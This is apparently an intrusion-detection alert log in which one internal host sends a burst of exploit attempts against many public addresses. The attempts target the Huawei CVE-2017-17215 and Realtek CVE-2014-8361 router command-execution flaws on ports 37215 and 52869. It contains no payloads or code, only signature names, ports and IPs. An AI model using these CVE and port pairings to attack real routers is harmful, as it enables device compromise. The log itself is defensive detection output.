ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 126.171.98.117

Timestamp:	07/20/24-23:10:40.367173
SID:	2025132
Source Port:	55586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.205.38.109

Timestamp:	07/20/24-23:10:56.011930
SID:	2835222
Source Port:	40266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 19.2.120.96

Timestamp:	07/20/24-23:10:42.619388
SID:	2027339
Source Port:	44880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.182.237.139

Timestamp:	07/20/24-23:10:40.658204
SID:	2835222
Source Port:	43890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.129.244.9

Timestamp:	07/20/24-23:11:03.396755
SID:	2829579
Source Port:	43286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.174.41.159

Timestamp:	07/20/24-23:10:41.220616
SID:	2835222
Source Port:	40428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 192.147.178.21

Timestamp:	07/20/24-23:10:46.611606
SID:	2025132
Source Port:	34226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 76.120.98.58

Timestamp:	07/20/24-23:10:51.984562
SID:	2831300
Source Port:	46822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.167.121.109

Timestamp:	07/20/24-23:10:40.179277
SID:	2027339
Source Port:	35850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 58.59.198.252

Timestamp:	07/20/24-23:10:46.795245
SID:	2835222
Source Port:	46452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 100.131.155.71

Timestamp:	07/20/24-23:10:41.230206
SID:	2835222
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.170.233.186

Timestamp:	07/20/24-23:10:46.756315
SID:	2835222
Source Port:	34030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 117.238.162.201

Timestamp:	07/20/24-23:10:40.658204
SID:	2835222
Source Port:	56918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.100.41.196

Timestamp:	07/20/24-23:11:03.390577
SID:	2835222
Source Port:	44008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.147.171.117

Timestamp:	07/20/24-23:10:59.023708
SID:	2835222
Source Port:	36506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 77.201.115.63

Timestamp:	07/20/24-23:10:43.423928
SID:	2027339
Source Port:	36688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.65.221.230

Timestamp:	07/20/24-23:10:46.809208
SID:	2835222
Source Port:	56984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.181.244.208

Timestamp:	07/20/24-23:10:40.607363
SID:	2829579
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.248.148.38

Timestamp:	07/20/24-23:10:41.220653
SID:	2829579
Source Port:	40522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.100.184.225

Timestamp:	07/20/24-23:11:03.371424
SID:	2835222
Source Port:	55440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.33.21.86

Timestamp:	07/20/24-23:10:44.462232
SID:	2027339
Source Port:	40994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.31.136

Timestamp:	07/20/24-23:10:40.656564
SID:	2835222
Source Port:	34744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 104.87.188.192

Timestamp:	07/20/24-23:10:47.573053
SID:	2025132
Source Port:	39056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.233.147.184

Timestamp:	07/20/24-23:10:39.434366
SID:	2835222
Source Port:	47276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 42.176.63.143

Timestamp:	07/20/24-23:10:52.517494
SID:	2829579
Source Port:	52872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 183.106.234.57

Timestamp:	07/20/24-23:10:47.708016
SID:	2027339
Source Port:	44240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.249.128.39

Timestamp:	07/20/24-23:10:49.425318
SID:	2835222
Source Port:	55952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 171.65.238.111

Timestamp:	07/20/24-23:10:47.679048
SID:	2027339
Source Port:	44138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.136.185.124

Timestamp:	07/20/24-23:10:59.027427
SID:	2835222
Source Port:	60814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 45.153.62.62

Timestamp:	07/20/24-23:10:43.412001
SID:	2027339
Source Port:	50482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.204.42.129

Timestamp:	07/20/24-23:10:59.006202
SID:	2835222
Source Port:	54170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.150.107.212

Timestamp:	07/20/24-23:10:41.693872
SID:	2829579
Source Port:	47850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 116.118.210.76

Timestamp:	07/20/24-23:10:39.889709
SID:	2025132
Source Port:	54014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 110.197.204.146

Timestamp:	07/20/24-23:10:49.342527
SID:	2835222
Source Port:	35014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 74.83.241.55

Timestamp:	07/20/24-23:10:52.033728
SID:	2027339
Source Port:	59418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 54.158.102.139

Timestamp:	07/20/24-23:10:44.565535
SID:	2027339
Source Port:	45664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.89.22.57

Timestamp:	07/20/24-23:11:06.696229
SID:	2835222
Source Port:	33494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 95.10.158.177

Timestamp:	07/20/24-23:10:47.846012
SID:	2025132
Source Port:	40634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 184.170.67.27

Timestamp:	07/20/24-23:10:43.191370
SID:	2025132
Source Port:	52400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 173.221.148.228

Timestamp:	07/20/24-23:10:51.940105
SID:	2027339
Source Port:	40614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 65.211.208.187

Timestamp:	07/20/24-23:10:42.642008
SID:	2831300
Source Port:	52644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.197.252.182

Timestamp:	07/20/24-23:10:41.221769
SID:	2829579
Source Port:	44340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.14.159

Timestamp:	07/20/24-23:10:52.569477
SID:	2829579
Source Port:	54302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.241.133.198

Timestamp:	07/20/24-23:10:59.326324
SID:	2835222
Source Port:	33730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 60.216.97.213

Timestamp:	07/20/24-23:10:44.392579
SID:	2025132
Source Port:	39070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.137.187.253

Timestamp:	07/20/24-23:10:59.055793
SID:	2829579
Source Port:	58916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 31.77.81.9

Timestamp:	07/20/24-23:10:44.251532
SID:	2025132
Source Port:	43946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.62.191.193

Timestamp:	07/20/24-23:11:03.371424
SID:	2835222
Source Port:	33696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.64.176.50

Timestamp:	07/20/24-23:11:06.683012
SID:	2829579
Source Port:	53910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.199.57.112

Timestamp:	07/20/24-23:10:39.486941
SID:	2829579
Source Port:	38188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 77.64.253.97

Timestamp:	07/20/24-23:10:39.185538
SID:	2027339
Source Port:	46572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.86.19.36

Timestamp:	07/20/24-23:11:03.402557
SID:	2829579
Source Port:	43358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 130.142.173.122

Timestamp:	07/20/24-23:10:51.955739
SID:	2027339
Source Port:	51558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 157.142.69.44

Timestamp:	07/20/24-23:10:42.619542
SID:	2027339
Source Port:	53718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.162.71.183

Timestamp:	07/20/24-23:10:39.485535
SID:	2835222
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 144.224.217.126

Timestamp:	07/20/24-23:10:51.909417
SID:	2027339
Source Port:	38412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 40.249.110.83

Timestamp:	07/20/24-23:10:46.779706
SID:	2829579
Source Port:	35096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 135.178.159.192

Timestamp:	07/20/24-23:10:52.005273
SID:	2831300
Source Port:	32828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.125.87.19

Timestamp:	07/20/24-23:11:06.669620
SID:	2829579
Source Port:	60090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.141.107.129

Timestamp:	07/20/24-23:10:52.572631
SID:	2835222
Source Port:	39350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.57.56.21

Timestamp:	07/20/24-23:11:03.390577
SID:	2835222
Source Port:	51950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.162.253.225

Timestamp:	07/20/24-23:10:39.479939
SID:	2835222
Source Port:	59708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.206.105.136

Timestamp:	07/20/24-23:10:41.232616
SID:	2829579
Source Port:	36782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 61.200.31.129

Timestamp:	07/20/24-23:10:51.992277
SID:	2831300
Source Port:	41282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 205.121.31.87

Timestamp:	07/20/24-23:10:39.479427
SID:	2829579
Source Port:	56498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 60.47.44.203

Timestamp:	07/20/24-23:10:47.771235
SID:	2025132
Source Port:	40886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 90.138.160.122

Timestamp:	07/20/24-23:10:51.969868
SID:	2027339
Source Port:	52510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.191.133.48

Timestamp:	07/20/24-23:11:03.365384
SID:	2835222
Source Port:	34842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 72.211.196.78

Timestamp:	07/20/24-23:10:51.992277
SID:	2027339
Source Port:	51436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.182.176.117

Timestamp:	07/20/24-23:10:59.053037
SID:	2829579
Source Port:	47032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 173.31.16.145

Timestamp:	07/20/24-23:10:49.370142
SID:	2835222
Source Port:	43250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.63.90.165

Timestamp:	07/20/24-23:10:39.479427
SID:	2835222
Source Port:	48620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 221.160.194.232

Timestamp:	07/20/24-23:10:44.688579
SID:	2027339
Source Port:	49946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.170.212

Timestamp:	07/20/24-23:11:03.394674
SID:	2835222
Source Port:	56700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 111.197.150.31

Timestamp:	07/20/24-23:10:51.984562
SID:	2831300
Source Port:	44820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.31.186.62

Timestamp:	07/20/24-23:10:42.273908
SID:	2829579
Source Port:	50906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.235.223.229

Timestamp:	07/20/24-23:10:47.812151
SID:	2027339
Source Port:	45356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 27.73.191.157

Timestamp:	07/20/24-23:10:48.599765
SID:	2025132
Source Port:	59432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.230.250.188

Timestamp:	07/20/24-23:10:49.402846
SID:	2835222
Source Port:	46458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 67.216.209.193

Timestamp:	07/20/24-23:10:41.230206
SID:	2829579
Source Port:	47042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.91.56.136

Timestamp:	07/20/24-23:10:46.756315
SID:	2829579
Source Port:	33930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.218.237.79

Timestamp:	07/20/24-23:10:46.795245
SID:	2829579
Source Port:	40972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.9.208.165

Timestamp:	07/20/24-23:10:49.409236
SID:	2835222
Source Port:	60068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.124.145.235

Timestamp:	07/20/24-23:11:06.688603
SID:	2835222
Source Port:	47108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 98.109.201.53

Timestamp:	07/20/24-23:10:49.409236
SID:	2835222
Source Port:	41694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.86.230.135

Timestamp:	07/20/24-23:10:40.649994
SID:	2835222
Source Port:	37342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.202.223.13

Timestamp:	07/20/24-23:10:59.011093
SID:	2835222
Source Port:	50002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.164.89.253

Timestamp:	07/20/24-23:10:39.485535
SID:	2835222
Source Port:	49420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.184.178.177

Timestamp:	07/20/24-23:10:52.538168
SID:	2835222
Source Port:	58228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.19.165.238

Timestamp:	07/20/24-23:10:46.750827
SID:	2829579
Source Port:	37674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.66.175

Timestamp:	07/20/24-23:11:06.678578
SID:	2829579
Source Port:	35626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.43.224.104

Timestamp:	07/20/24-23:10:59.029814
SID:	2829579
Source Port:	47810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 137.28.220.250

Timestamp:	07/20/24-23:11:06.702559
SID:	2829579
Source Port:	39506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.4.99.70

Timestamp:	07/20/24-23:10:42.266162
SID:	2829579
Source Port:	33384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 13.183.157.226

Timestamp:	07/20/24-23:10:49.377082
SID:	2829579
Source Port:	49602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 129.146.5.212

Timestamp:	07/20/24-23:10:51.955739
SID:	2027339
Source Port:	57370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 152.198.105.114

Timestamp:	07/20/24-23:10:43.810881
SID:	2027339
Source Port:	57330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.112.25

Timestamp:	07/20/24-23:10:39.433488
SID:	2835222
Source Port:	38926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.29.120

Timestamp:	07/20/24-23:10:58.986541
SID:	2829579
Source Port:	33844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.201.237.95

Timestamp:	07/20/24-23:10:52.555606
SID:	2835222
Source Port:	46878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.85.119.244

Timestamp:	07/20/24-23:10:59.011093
SID:	2829579
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

